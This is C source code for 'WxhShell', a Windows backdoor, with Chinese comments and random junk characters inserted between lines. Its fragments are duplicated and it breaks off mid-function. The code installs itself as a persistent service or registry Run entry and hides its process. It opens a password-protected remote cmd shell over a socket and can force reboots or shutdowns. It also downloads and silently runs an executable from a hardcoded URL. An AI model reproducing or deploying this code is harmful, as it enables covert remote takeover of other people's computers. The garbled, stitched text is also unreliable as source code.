jK $KV f/\!=sa: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8 Ku9;VEk if(NULL == hInst ) return 0; N'1I6e" ]dycesc' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Y# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _KRnx- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3Vu}D(PJ ];.5*a%* if (!NtQueryInformationProcess) return 0; D5zc{) / 92-Xz6Bo9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $W._FAAJ# if(!hProcess) return 0; -e_fn&2,Y Aez2n(yac if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vuQA-w7 hB?#b`i^ CloseHandle(hProcess); ;NP-tA) 0jp].''RK\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AArLNXzVW if(hProcess==NULL) return 0; DpHubqWz LP3#f{U HMODULE hMod; >^8O :. char procName[255]; kV-<[5AWW unsigned long cbNeeded; Z<U,]iZB 8~ y!X0Ov! if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6Ga'_P: lw=kTYbq CloseHandle(hProcess); LcKc#)'EE g}9,U&$]y if(strstr(procName,"services")) return 1; // 以服务启动 lyL6w1 6O4*OR<& return 0; // 注册表启动 iBE|6+g~Cj } 4DIU7#GG 'm0WPS/6E // 主模块 V``|<`!gd int StartWxhshell(LPSTR lpCmdLine) R6~6b&-8 { tbQY&TO1 SOCKET wsl; 5{ap BOOL val=TRUE; SiNgV\('U int port=0; &zn|), struct sockaddr_in door; F'~r?D .]9`eGVWj if(wscfg.ws_autoins) Install(); cGE{dWz besc7!S port=atoi(lpCmdLine); s:<y\1Ay {[uhIJD3g6 if(port<=0) port=wscfg.ws_port; 2e6P?pX~2 8YSvBy WSADATA data; `!8\|/ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1^IMoC7$# AyJl:aN^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5a |[cR setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1dD%a91 door.sin_family = AF_INET; MpKXC door.sin_addr.s_addr = inet_addr("127.0.0.1"); cg )(L; door.sin_port = htons(port); #m#IBRD : &UDbH* !4= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G-CL \G\n closesocket(wsl); g.\b@0Uy' return 1; AB
$N`+& } (~@.9&cBD >$kFYb>~q if(listen(wsl,2) == INVALID_SOCKET) { erI&XI closesocket(wsl); |@d(2f8 return 1; %<~Ewno T } THl:>s Wxhshell(wsl); fD%/]`y WSACleanup(); J5b3r1~D"[ /@"mQx~[q return 0; kr$)nf =u0=)\0@r } "'BDVxp'w r6j[C"@ // 以NT服务方式启动 ,WdSJ BK'a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +s}!+I8P { :] Wn26z) DWORD status = 0; "]^U(m>f DWORD specificError = 0xfffffff; w !kk(QMV +sJ{9# 6 serviceStatus.dwServiceType = SERVICE_WIN32; 2k!uk6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; &[`24Db serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }[%F serviceStatus.dwWin32ExitCode = 0; %2RXrH2&H serviceStatus.dwServiceSpecificExitCode = 0; QeY+imM serviceStatus.dwCheckPoint = 0; 0ytAn+/"x serviceStatus.dwWaitHint = 0; x~'_;>]r_ [\F:NLjiUy hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hgZvti if (hServiceStatusHandle==0) return; wgDAb#Zuk 9X[378f+( status = GetLastError(); !yg &zzP* if (status!=NO_ERROR) VI3fvGHat{ { [6@bsXiw serviceStatus.dwCurrentState = SERVICE_STOPPED; Z4z|B& serviceStatus.dwCheckPoint = 0; )fXxkOd serviceStatus.dwWaitHint = 0; 5hqXMs serviceStatus.dwWin32ExitCode = status; ko.%@Y(= serviceStatus.dwServiceSpecificExitCode = specificError; kW+>"3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Q"thsR return; <S_0=U } kFJ]F |^7 7<kr|- serviceStatus.dwCurrentState = SERVICE_RUNNING; w2$ L;q serviceStatus.dwCheckPoint = 0; 2C0j.Ib serviceStatus.dwWaitHint = 0; 2SC'Z>A if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p;[.&oJ } UB] tKn depCqz@ // 处理NT服务事件,比如:启动、停止 9[t-W:3c7 VOID WINAPI NTServiceHandler(DWORD fdwControl) dyqk[$( { ?n<sN" switch(fdwControl) w8>lWgN { 7d{xXJ- case SERVICE_CONTROL_STOP: Yy!G?>hC serviceStatus.dwWin32ExitCode = 0; n n[idw serviceStatus.dwCurrentState = SERVICE_STOPPED; wV-N\5!r%H serviceStatus.dwCheckPoint = 0; ?,v@H$)3_ serviceStatus.dwWaitHint = 0; p-C{$5&
O1 { 1>_$O|dE SetServiceStatus(hServiceStatusHandle, &serviceStatus);
-vT$UP } kPEU }Kv return; 823y; case SERVICE_CONTROL_PAUSE: a"+/fC` serviceStatus.dwCurrentState = SERVICE_PAUSED; hAi'|;g break; 'o_ RC{k2" case SERVICE_CONTROL_CONTINUE: R]kH$0` serviceStatus.dwCurrentState = SERVICE_RUNNING; ^')4RU break; VuBi_v6 case SERVICE_CONTROL_INTERROGATE: 1^Q!EV break; acpc[^' }; \ }-v SetServiceStatus(hServiceStatusHandle, &serviceStatus); yYC\a7Al4 } DL_M#c`< hHt.No // 标准应用程序主函数 ;r;>4+zn\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I
tn?''~; { ]~WIGl"g 8BIPEY -I? // 获取操作系统版本 Xp^>SSt:4 OsIsNt=GetOsVer(); B]D51R\}VE GetModuleFileName(NULL,ExeFile,MAX_PATH); >03JQe_#*L (_q&QI0{ // 从命令行安装 d{^K8T3 if(strpbrk(lpCmdLine,"iI")) Install(); ZDrTPnA[
*!EHs04 // 下载执行文件 H]lD*3b if(wscfg.ws_downexe) { a
8jG')zg if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oRn 5blj WinExec(wscfg.ws_filenam,SW_HIDE); gn 9CZ } Dx3Sf}G
` R[lA@q:
if(!OsIsNt) { @XF/hhGE_y // 如果时win9x,隐藏进程并且设置为注册表启动 _*(:6,8 HideProc(); 4.&et()} StartWxhshell(lpCmdLine); 7_7^&.Hh } {*|$@%y! else Z=?qf$.} if(StartFromService()) avv/mEf-f // 以服务方式启动 /3vj`#jD StartServiceCtrlDispatcher(DispatchTable); 4p&SlJ else nYY' hjZ // 普通方式启动 MU_
>+Wnf StartWxhshell(lpCmdLine); b~G|Bhxa
BgG+ return 0; HQ|{!P\/?U } LZ9IE>sj 6~+?DIc *Oe;JqQkK Lop=._W =========================================== VM
ny>g&3
XN'X&J [TpW$E0H #lm1"~`5 7W#9ki1 j@s,5:;[ " \-s'H: 3412znM& #include <stdio.h> "V_PWEi #include <string.h> _bq2h%G=8 #include <windows.h> Eh;~y*k\ #include <winsock2.h> |c>A3 P$=B #include <winsvc.h> )6zwprH! #include <urlmon.h> 4fzM%ku ">RDa<H] #pragma comment (lib, "Ws2_32.lib") >^Z! #pragma comment (lib, "urlmon.lib") 8>jd2'v{ Y-,1&$& #define MAX_USER 100 // 最大客户端连接数 0r\hX6 k #define BUF_SOCK 200 // sock buffer Ol@
YSk d #define KEY_BUFF 255 // 输入 buffer whg?X&j\V K31rt-IIt #define REBOOT 0 // 重启 aKCXV[PO #define SHUTDOWN 1 // 关机 A&0sD}I\K SY2B\TV #define DEF_PORT 5000 // 监听端口 8:A6Ew&\]O mY1$N}8fm #define REG_LEN 16 // 注册表键长度 2?7a\s #define SVC_LEN 80 // NT服务名长度 C44Dz.rs l>9ZAI\^ // 从dll定义API
`Uw^,r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P3YG:* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bsmnh_YRj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Om2
)$( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L7*~8Y W,>;`> // wxhshell配置信息 ',*
6vbII struct WSCFG { %lPFq- int ws_port; // 监听端口 {Z|.-~W char ws_passstr[REG_LEN]; // 口令 s.I=H^T int ws_autoins; // 安装标记, 1=yes 0=no f;%4O' char ws_regname[REG_LEN]; // 注册表键名 m[u
6<C char ws_svcname[REG_LEN]; // 服务名 1<qq6 9x char ws_svcdisp[SVC_LEN]; // 服务显示名 ^Q_0Zq^H char ws_svcdesc[SVC_LEN]; // 服务描述信息 *%cI,}% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pz +8u&~p int ws_downexe; // 下载执行标记, 1=yes 0=no I|$_[Sw char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2S8/
lsB
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nmN6RGx A!
1> }; }g _#.>D+ B)"WG7W E // default Wxhshell configuration ~c3CyOab struct WSCFG wscfg={DEF_PORT, ZA ii"F "xuhuanlingzhe", o*QhoDjc 1, ^f1}:g "Wxhshell", zn3i2MWS "Wxhshell", [w~1e)D "WxhShell Service", e:.Xs "Wrsky Windows CmdShell Service", _W*3FH "Please Input Your Password: ", I#f<YbzD 1, \Jv6Igu "http://www.wrsky.com/wxhshell.exe", PHD$E s "Wxhshell.exe" 4oOe }; _Oq (&I g!%csf // 消息定义模块 c66Iy" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :/Nz' n char *msg_ws_prompt="\n\r? for help\n\r#>"; VxfFk4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GYv2^IB: char *msg_ws_ext="\n\rExit."; !=0N38wA char *msg_ws_end="\n\rQuit."; x<=+RYz#^: char *msg_ws_boot="\n\rReboot..."; Xf9VW}`*8 char *msg_ws_poff="\n\rShutdown..."; 8c3X9;a char *msg_ws_down="\n\rSave to "; 3!CI=(^IY GI7CZ char *msg_ws_err="\n\rErr!"; A HKS
[ N char *msg_ws_ok="\n\rOK!"; B69 NL t/S~CIA char ExeFile[MAX_PATH]; mnXaf)" int nUser = 0; H,=??wN HANDLE handles[MAX_USER]; DjL(-7'p int OsIsNt; ^ tm,gh e v?Hz8Q;( SERVICE_STATUS serviceStatus; ({zp$P} SERVICE_STATUS_HANDLE hServiceStatusHandle; ;nv4lxm }
ho8d+A // 函数声明 z/rN+ , int Install(void); *RM#F!A int Uninstall(void); K |Yr int DownloadFile(char *sURL, SOCKET wsh); m&|?mTo>m int Boot(int flag); Q.6pmaXrb void HideProc(void); ZT_ EpT=1 int GetOsVer(void); ?^IM2}(p int Wxhshell(SOCKET wsl); g[@]OsX void TalkWithClient(void *cs); Mk[_yqoCO int CmdShell(SOCKET sock); E9226 int StartFromService(void); .Fh5:WN int StartWxhshell(LPSTR lpCmdLine); 8X*6i-j5E WFN5&7$ W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F/RV{} 17E VOID WINAPI NTServiceHandler( DWORD fdwControl ); }(TZ}* d o&LNtl; // 数据结构和表定义 kS?!"zk> SERVICE_TABLE_ENTRY DispatchTable[] = $+[HJ{ { )n|:9hc {wscfg.ws_svcname, NTServiceMain}, HcQ{ok9u {NULL, NULL} ~"}-cl, }; 8u;l<^< rmR7^Ycv/ // 自我安装 a50{ gb# int Install(void) zc,fJM { &sWq SS char svExeFile[MAX_PATH]; U#,2et6 HKEY key; ;U}lh~e11 strcpy(svExeFile,ExeFile); 31YzTbl[H )Cyrs~ // 如果是win9x系统,修改注册表设为自启动 d%4!d_I< if(!OsIsNt) { U4zyhj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T92k"fBY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZZFa<AK4 RegCloseKey(key); ga~rllm;i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0V`0=" rQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 't^OIil RegCloseKey(key); Ge[N5N> return 0; S4`uNB#Ht } q^goi1 } PGu6hV{ } =}U`q3k else { M.!U;U<? K}! VY` // 如果是NT以上系统,安装为系统服务 ep,kImT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~++y4NB8Q if (schSCManager!=0) H-0A&oG { a{69JY5 SC_HANDLE schService = CreateService (?YTQ8QR ( i+T$&$b schSCManager, nvsuF)%9hZ wscfg.ws_svcname, Kv!CL9^LX7 wscfg.ws_svcdisp, )MW.Y SERVICE_ALL_ACCESS, i v&:X3iB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gv6EJV1i SERVICE_AUTO_START, ],&WA?>G SERVICE_ERROR_NORMAL, hq$:62NYg svExeFile, vQ26U(7\> NULL, qeSxE`E" NULL, Uq0RJ<n NULL, >K;p+( <6 NULL, 8KT|ixs NULL m[Px|A5{ ); x"5/1b3aq if (schService!=0) XrtB&h|C { }N*6xr*X+ CloseServiceHandle(schService); i@Q)`>4 CloseServiceHandle(schSCManager); 4wMKl6mL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +'hcFZn(T strcat(svExeFile,wscfg.ws_svcname); "F}anPY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qS|bpC0x RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *#+XfOtF RegCloseKey(key); |AuN5|obI return 0; Nx;U]O6A } a` 95eL} } R.*KaCA CloseServiceHandle(schSCManager); W<u63P } -GDX#A-J } X]tjT _)zSjFX9 return 1; \ d+&&ns } mn?<
Zz M8:gHjwsx // 自我卸载 5A Vo#}&\ int Uninstall(void) 70mQ{YNN { B@=+Fg DD HKEY key; \O^b|0zc 6|rqsk if(!OsIsNt) { )#9/vIQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b,$H!V* RegDeleteValue(key,wscfg.ws_regname); #ZRQVC; b; RegCloseKey(key); QOcB ]G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G?8LYg!- RegDeleteValue(key,wscfg.ws_regname); ePa1 @dI RegCloseKey(key); \ :1MM return 0; ~z ^VMr } ShxB!/s } t+W+f } tB'F`HM:mq else { ~aNK)<Fznd [l:3F<M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uqnoE;57^ if (schSCManager!=0) IFH%R>={ { |k{?\ (h; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q4|TwRx~ if (schService!=0) mfIY7DP { Nf%jLK~ if(DeleteService(schService)!=0) { 12~zS CloseServiceHandle(schService); #&\^{Z CloseServiceHandle(schSCManager); Gc<J x|Q7 return 0; 5<<e_n.2q } <}pqj3 CloseServiceHandle(schService); a 9(1 6k } Aj*0nV9_ CloseServiceHandle(schSCManager); ]tanvJG}' } >w9fFm!Q
} ~2beVQ(U bBW(#
Q_a return 1; '{@hBB+ D } ;m,lS_[c MP-A^QT // 从指定url下载文件 Yi1_oe int DownloadFile(char *sURL, SOCKET wsh) KCGs*kp> { /iQ}DbtRb HRESULT hr; & G@(f= char seps[]= "/"; Y
[0S char *token; BBm.;=8@ ^ char *file; <fC gU& char myURL[MAX_PATH]; t7H2z}06=h char myFILE[MAX_PATH]; Yc3r3Jy {l-,Jbfi` strcpy(myURL,sURL); KN'l/9. token=strtok(myURL,seps); `^-?yu@ while(token!=NULL) |qE"60&"} { 1c(1 YGuH file=token; n6ETWjP token=strtok(NULL,seps); ^VR1whCrx } 8 *;G\$+ R|Z $aHQ GetCurrentDirectory(MAX_PATH,myFILE); E<1^i;F strcat(myFILE, "\\"); !:,d^L!bh strcat(myFILE, file); kZs send(wsh,myFILE,strlen(myFILE),0); ?>N82#9Q send(wsh,"...",3,0); ?"$W=*P\o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4d)w2t?H% if(hr==S_OK) ;``*]tY$ return 0; y/K% F,WMf else L%ND?'@ return 1; 4NMv7[r 1M7=*w,
} %np b.C|+ g^26Gb. // 系统电源模块 ?D/r1%Z int Boot(int flag) D9B?9Qt2[ {
.7ESPr HANDLE hToken; 2-ev7: TOKEN_PRIVILEGES tkp; mHE4Es0 8c\mm 0n if(OsIsNt) { L01R.3Z+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5YUn{qtD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #IDDKUE tkp.PrivilegeCount = 1; @I2m4Q{O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LyhLPU0^q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -@b&qi7&S if(flag==REBOOT) { %;(+s7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DZ?>9W{ return 0; N+rLbK* } ^2[0cne else { f(=yC}si if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O$J'BnPpw return 0; lY[>}L*H8 } yL^1s\<ddW } [&k[k) else { `9B xDp]I if(flag==REBOOT) { M.1R]x(| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _|D8~\y return 0; :!;BOCTYI } $74ZC
M else { XA5gosq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F'lG=c3N return 0; HdGAE1eU]} } ,GS8Gu } 7Av/ZS d i`}Y& return 1; =L{lt9qQz } )p4o4aM a"&@G=M@d // win9x进程隐藏模块 "tBdz V void HideProc(void) 2GLq#")P { &_HSrU #M&rmKv)g HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @g(N!n~ if ( hKernel != NULL ) HUr;ysw { 64z9Yr@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L.$9ernVY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
M.zS + FreeLibrary(hKernel); 1eZ">,F6< } T/p}Us Wz nz return; )TJz'J\* } .*:SZ3v 8N4W}YBs // 获取操作系统版本 1*S It5?4 int GetOsVer(void) + _rjA_ { aj51%wKMb: OSVERSIONINFO winfo; .%+'Ts#ie winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @xH|( GetVersionEx(&winfo); 9E)*X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .21%~"dxJ return 1; >Bq;Z}EV else 90|p]I% return 0; d%Jl9!u } \O/" F; ,*Y*ov23aQ // 客户端句柄模块 7)O?jc int Wxhshell(SOCKET wsl) vnMt>]w-} { 3hab51J SOCKET wsh; k:4 Zc3 struct sockaddr_in client; >};,Byv!% DWORD myID; ~`
@dI Q~G+YjM3 while(nUser<MAX_USER) xyj)W { 10_eUQN int nSize=sizeof(client); iN8?~T}w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EXH{3E54)` if(wsh==INVALID_SOCKET) return 1; SJoQaR,)> yc|C}oQF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "5 PP<A,F( if(handles[nUser]==0) n{d}]V@ closesocket(wsh); }oigZI(1 else !;{@O`j?b nUser++; GRCc<TM,U } [6K2V:6: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >/;\{IG
Wn \NhCu$' return 0; q -M&f@Il } Bwjd/id q qF`;xa%,} // 关闭 socket ,pa,:k? void CloseIt(SOCKET wsh) 0&=2+=[c { 0*L|rJf closesocket(wsh); _s><>LH~ nUser--; D@uw[;Xb5 ExitThread(0); wYSvI } zwR@^ 5^6 Wv_5sPqLW // 客户端请求句柄 t>7t4>X void TalkWithClient(void *cs) "Ol;0>$ { `~UCWK g-E!*K SOCKET wsh=(SOCKET)cs; \ 3n{%\_ char pwd[SVC_LEN]; jV\M`=4IC char cmd[KEY_BUFF]; Q\z3YUk char chr[1]; OHssUt int i,j; C, n]9 ~'dnrhdme while (nUser < MAX_USER) { (9';zw
LeO
)) if(wscfg.ws_passstr) { }r]WB)_w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r/HKxXT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @I\Z2-J //ZeroMemory(pwd,KEY_BUFF); :{h,0w'd i=0; $ ;>, while(i<SVC_LEN) { jec03wH_0 ]/p0j$Tq$ // 设置超时 B3O^(M5W fd_set FdRead; m}:";>?# struct timeval TimeOut; K_{x
y#H FD_ZERO(&FdRead); %=/Y~ml? FD_SET(wsh,&FdRead); E87/B%R TimeOut.tv_sec=8; iN*d84KTP TimeOut.tv_usec=0; to[EA6J8l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +1Si>I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EhEn|%S MVjc.^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z%Y=Lx pwd=chr[0]; L'6_~I if(chr[0]==0xd || chr[0]==0xa) { mvVVPf9 pwd=0; }!0,(<EsV break; nf,>l0,,' } Il2DZ5-
) i++; -kES]P?2 } BT
98WR"\ $8_t.~q // 如果是非法用户,关闭 socket LoOyqJ, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l6xC'c,jg } =ADAMP h?.6e9Y4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m{mK;D
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +
h`:qB Z@
h<xo*r while(1) { ?@|1>epgd 4I"QT(; ZeroMemory(cmd,KEY_BUFF); EYGJDv(S 174H@ // 自动支持客户端 telnet标准 fB1JU1 j=0; miuJ!Kr' while(j<KEY_BUFF) { ]j*o&6cQf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AbZ:AJ(
cmd[j]=chr[0]; X^_,`H@ if(chr[0]==0xa || chr[0]==0xd) { 1k2Ck cmd[j]=0; bsM`C]h& break; Br]VCp } X_HR$il j++; hz Vpv,|G } :eQ@I+ 3, ,Z // 下载文件 ?P<&8eY if(strstr(cmd,"http://")) { )prpG ! send(wsh,msg_ws_down,strlen(msg_ws_down),0); GK95=?f~8; if(DownloadFile(cmd,wsh)) &BG^:4b send(wsh,msg_ws_err,strlen(msg_ws_err),0); }O2hhh_ else O~{Zs\u9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4E4o=Z|K } BRoi`.b: else { ?j8CkqX! 1Na CGD" switch(cmd[0]) { 5y=X?hF~) iA^w2K // 帮助 A6lf-8ncx case '?': { GaRL]w send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6 Y&OG>_\ break; ' AeU } n9bX[+#d // 安装 Rr%]/% case 'i': { :U?P~HI if(Install()) F`Q,pBl1p6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); b ";#qVv C else m\1*/6oV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {nryAXK break; =:~~RqHl } @#VxjXW^ // 卸载 "~]9}KM}3W case 'r': { Ma-^o<{ if(Uninstall()) 2(\>PN- send(wsh,msg_ws_err,strlen(msg_ws_err),0); &JfyXM[] else LE1&atq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pl1:d{"d break; `E!t,*(*E } D-ug$ZRg // 显示 wxhshell 所在路径 5 Nl>4d` case 'p': { ,:>>04O char svExeFile[MAX_PATH]; g'pE z strcpy(svExeFile,"\n\r"); =C`v+NPM)| strcat(svExeFile,ExeFile); rZJp>Q)s send(wsh,svExeFile,strlen(svExeFile),0); G9E?
break; E'MMhlo } N_C\L2 // 重启 %3xH<$Gq5 case 'b': { v{JCEb&wN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .]r[0U if(Boot(REBOOT)) l*nSgUg send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5km]`7z else { aEZl ICpU7 closesocket(wsh); Aba6/ ExitThread(0); YXV![gw0 } f$2lq4P{ break; ZR..>= } OE4 2{?) // 关机 ANT^&NjJ7 case 'd': { Jb
;el*,K send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?[XH`c, if(Boot(SHUTDOWN)) v]VIUVd send(wsh,msg_ws_err,strlen(msg_ws_err),0); =i:?4pIZ else {
vf5[x!4 closesocket(wsh); :+E>UzT ExitThread(0); [c>X Q } jS R:ltd break; ShCAkaj_ } SvI // 获取shell zKT \i case 's': { N66jFRA;x CmdShell(wsh); x!I7vs~~zW closesocket(wsh); WqYl=%x"{V ExitThread(0); {_k 6 t break; {tWfLfzU } dr9I+c7u // 退出 nHZ 4):` case 'x': { WU=Os8gR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /8Vh G|Wb CloseIt(wsh); !*CL>}-, break; 0CTI=<; } DCwldkdJN // 离开 VaX>tUW case 'q': { u=ENf1{ $> send(wsh,msg_ws_end,strlen(msg_ws_end),0); o
&Nr5S closesocket(wsh); ty-4yK# WSACleanup(); 4{fi=BA exit(1); W>B:W 0A break; =q6yb@ } |W#^L`!G } Bb-x1{t } ,{E'k+ Xc
Pn // 提示信息 k)S7SbQ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +d#ZSNu/ } ss,6;wfX } .bpxSU%X eQC`e#% return; j4G,Z4 } _Z8zD[l N|7._AR2 // shell模块句柄 ;Vp&f%u+v int CmdShell(SOCKET sock) m4 4aKqw) { /]+t$K\cBq STARTUPINFO si; 0D.YO<PU ZeroMemory(&si,sizeof(si)); (F_#LeJ| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g00XZ0@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H 5sj%
v PROCESS_INFORMATION ProcessInfo; Q>sq:R+' char cmdline[]="cmd"; Mb$&~! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M%$zor return 0; *7-uQKp } O"Xjv`j: @Vb-BC, // 自身启动模式 M?F({#] int StartFromService(void) T_\GvSOI { .^Ek1fi. typedef struct nnr(\r~ { Qz/=+A/4 DWORD ExitStatus; <PfW DWORD PebBaseAddress; '<XG@L DWORD AffinityMask; n*_FC DWORD BasePriority; Dk[[f<H_{ ULONG UniqueProcessId; {},GxrQm ULONG InheritedFromUniqueProcessId; E-!`6 } PROCESS_BASIC_INFORMATION; 6oJ~Jdn' ZEApE+m PROCNTQSIP NtQueryInformationProcess; pLk?<y t,=khZ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u1>| 2D static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N$_Rzh"9rr eb+[=nmP HANDLE hProcess; Jh }3AoD PROCESS_BASIC_INFORMATION pbi; nwV\[E %X#Wc:b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &4BN9`|: if(NULL == hInst ) return 0; d3Y#_!) E5 Y92vu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }0f[x ?V g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DmD*,[rD NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =_v_#;h& pT[C[h: if (!NtQueryInformationProcess) return 0; \9D
'7/$I, O{%y `|m hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #M8"b]oh6 if(!hProcess) return 0; jQ7RH/?_ Y{2\==~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .s,hl(w, #<!oA1MH4 CloseHandle(hProcess); ea7v:#O[S <\yM{
V\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bh_i*DJ] if(hProcess==NULL) return 0; (^057 i<&2Ffvq HMODULE hMod; odj|"ZK char procName[255]; m2VF}%
